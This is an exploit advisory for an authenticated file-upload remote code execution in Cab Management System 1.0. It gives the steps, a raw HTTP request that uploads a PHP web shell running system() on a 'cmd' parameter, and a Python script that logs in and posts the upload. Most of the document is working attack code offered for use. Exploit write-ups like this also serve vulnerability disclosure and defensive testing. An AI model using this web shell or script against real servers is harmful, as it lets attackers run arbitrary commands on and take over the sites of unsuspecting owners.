Cab Management System 1.0 Remote Code Execution

2022.02.23
Credit: Alperen Ergel
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Cab Management System 1.0 - Remote Code Execution (RCE) (Authenticated) # Exploit Author: Alperen Ergel # Contact: @alpernae (IG/TW) # Software Homepage: https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html # Version : 1.0 # Tested on: windows 10 xammp | Kali linux # Category: WebApp # Google Dork: N/A # Date: 18.02.2022 ######## Description ######## # # # Step 1: Login admin account and go settings of site # Step 2: Update web site icon and selecet a webshell.php # Step3 : Upload your webshell that's it... # ######## Proof of Concept ######## ========>>> START REQUEST <<<========= POST /cms/classes/SystemSettings.php?f=update_settings HTTP/1.1 Host: localhost Content-Length: 11338 sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98" Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryc5vp1oayEolowCbb X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/cms/admin/?page=system_info Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=samlsgsrh4iq50eqc1qldpthml Connection: close <-- SNIPP HERE --> ------WebKitFormBoundaryc5vp1oayEolowCbb Content-Disposition: form-data; name="img"; filename="shell.php" Content-Type: application/octet-stream <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> ------WebKitFormBoundaryc5vp1oayEolowCbb Content-Disposition: form-data; name="cover"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryc5vp1oayEolowCbb-- <-- SNIPP HERE --> ========>>> END REQUEST <<<========= ========>>> EXPLOIT CODE <<<========= import requests print(""" -------------------------------------------- | | | Author: Alperen Ergel (@alpernae) | | | | CAB Management System v1 Exploit | | | -------------------------------------------- """) username = input("Username: ") password = input("Password: ") URL = input("Domain: ") burp0_url = "http://" + URL + "/cms/classes/Login.php?f=login" burp0_headers = {"sec-ch-ua": "\"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\"", "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "sec-ch-ua-platform": "\"Windows\"", "Origin": "http://192.168.1.33", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://192.168.1.33/cms/admin/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"} burp0_data = {"username": username, "password": password} requests.post(burp0_url, headers=burp0_headers, data=burp0_data) FILE = input("File: ") burp0_url = "http://" + URL + "/cms/classes/SystemSettings.php?f=update_settings" burp0_headers = {"sec-ch-ua": "\"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\"", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryc5vp1oayEolowCbb", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "sec-ch-ua-platform": "\"Windows\"", "Origin": "http://localhost", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost/cms/admin/?page=system_info", "Accept-Encoding": "gzip, deflate", "Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"} burp0_data = "------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nCab Management System\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"short_name\"\r\n\r\nCMS - PHP\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"content[welcome]\"\r\n\r\n<ptest</p>\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"files\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"content[about]\"\r\n\r\n<ptest</p>\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"files\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"img\"; filename=\"" + FILE + "\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"cover\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb--\r\n" requests.post(burp0_url, headers=burp0_headers, data=burp0_data)


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